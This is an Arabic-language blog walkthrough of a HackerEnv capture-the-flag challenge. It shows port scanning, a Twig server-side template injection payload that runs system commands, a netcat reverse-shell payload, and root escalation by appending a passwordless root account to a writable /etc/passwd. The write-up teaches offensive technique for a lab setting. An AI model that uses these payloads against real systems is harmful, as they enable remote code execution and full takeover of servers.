HackerEnv-حل تحدي Twig
سلام وعليكم ..
اليوم بشرح لكم تحدي Twig في منصة HackerEnv علما ان هذي اول مقالة انشرها اتمنى تنال على اعجابكم
فالبداية نستعمل nmap لفحص الايبي وعشان نشوف البورتات المفتوحه:
nmap -p- 10.0.101.1
حلو طلع بورت 80 http مفتوح معناته انه صفحه ويب
- نتصفح على الموقع بشكل طبيعي بس قبل كل شي حنا ناس نحب نشوف Source Code للموقع نشوف ان فيه تلميحه ان الموقع يستعمل Twig هو (web template engine)
- اذا كنت ماتعرف وش الثغرات اللي ممكن تحصلها قوقل ممكن يساعدك اكتب Twig Engine Vulenrabilites
حلو الحين بعد ماعرفنا ان الموقع فيه احتماليه انه يكون مصاب بثغرة SSTI (Server Side Template Injection)
طيب سؤال وش هو web template engine و server side template injection؟
مع تطور البرمجيات اصبح حاليا كثير من اللغات البرمجية لديها web template engine مثلا PHP لديها Twig وبايثون لديها Jinja مثلا والكثير الكثير
الweb template engine هي (لجعل عمل Front-end developer أسهل في تحسين الصفحة اللتي تظهر للمستخدم) لكن عندما يكون هناك مدخل غير آمن للمستخدم يستطيع منه تنفيذ Template Content هنا تحدث ثغرة SSTI .
"مقتبس من حبيبنا 1337xroot"
تمام الحين نجرب نسجل طبيعي كأي user نشوف الرد:
نلاحظ انه يرجع لنا الاسم اللي سجلت فيه بما ان الparameter الوحيد اللي يرجع لنا نتيجة هو user خلنا نستغله بنكتب
{{3*3}}
اذا اظهر لنا 9 كناتج معناته ان الموقع مصاب ونقدر نستغله لـRCE(Remote Code Execution)
حلوين حصلنا الاثبات الحين نبدا نستغله نكتب بالـparameter حق الـuser
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
ناخذ reverse shell عشان نقدر نتصل بالـtarget ونقدر ننفذ الاوامر بكل سهوله
الحين نفك لنا listener على البورت 4444 نفتح التيرمنال ونكتب
nc -lvp 4444
بعدها ننفذ الـpayload هذا :
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc 10.0.101.1 4444 -e /bin/sh")}}
والحين صار عندنا reverse shell بالتريمنال نبي نخليه interacitve shell نروح التيرمنال ونكتب هذا الامر :
python3 -c "import pty; pty.spawn('/bin/bash');"
الحين لو نرجع نشوف الـinstructions بالموقع يقولون بتحصل الفلاق فالمسارين ذي:
فلو نلاحظ بالصورة حنا بـ/var/www/html
كل اللي نحتاجه نسوي
وحصلنا اول Flag
الحين لازم ناخذ صلاحيات الـroot عشان نقدر نشوف المسار حقه ونحصل الفلاق الثاني تمام الحين عرفنا الهدف حقنا وش ممكن نسوي ؟
اللي ممكن نسويه اننا نشوف الصلاحيات على اهم ملفين :
- etc/passwd/
- etc/shadow/
عن طريق الامر :
ls -l /etc/passwd /etc/shadow
الغريب هنا ان ملف الـpasswd قابل للكتابه عليه (writable passwd)
طيب خلنا نسوي cat نشوف وش السالفه
ملاحظة x تعني ان الباسورد مخزن في ملف /etc/shadow وتقدر تشوف هذي المقاله عشان تفهم اكثر
طيب ليه مانختصر الموضوع وناخذ الباس من هناك؟ مانقدر , لان ماعندنا permission فا لازم نسوي user بصلاحيات الـroot طيب كيف ؟
بسيطه دام نقدر نكتب عليه نسوي echo للملف
echo "0xRaw::0:0:root:/root:/bin/bash" >> /etc/passwd
//X= اللي كانت بالصوره معناته ان الباسورد متخزن في ملف
// /etc/shadow
// etc/shadow عشان ما يبحث في ال x هنا شلنا ال
نسوي cat مره ثانيه بنشوف ان اليوزر انضاف
الحين بكل بساطه نسوي switch user
su - 0xRaw
//su - اسم اليوزر
حلو الحين جبنا الـroot
الحين بس نسوي
ls -l /root/
وبكذا حصلنا كل الفلاقات اتمنى ان الشرح كان كافي ووافي
اذا اخطأت فمن الشيطان وان اصبت فمن الله
في امان الله ..
Twitter | 0xRaw
التعليقات (0)
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !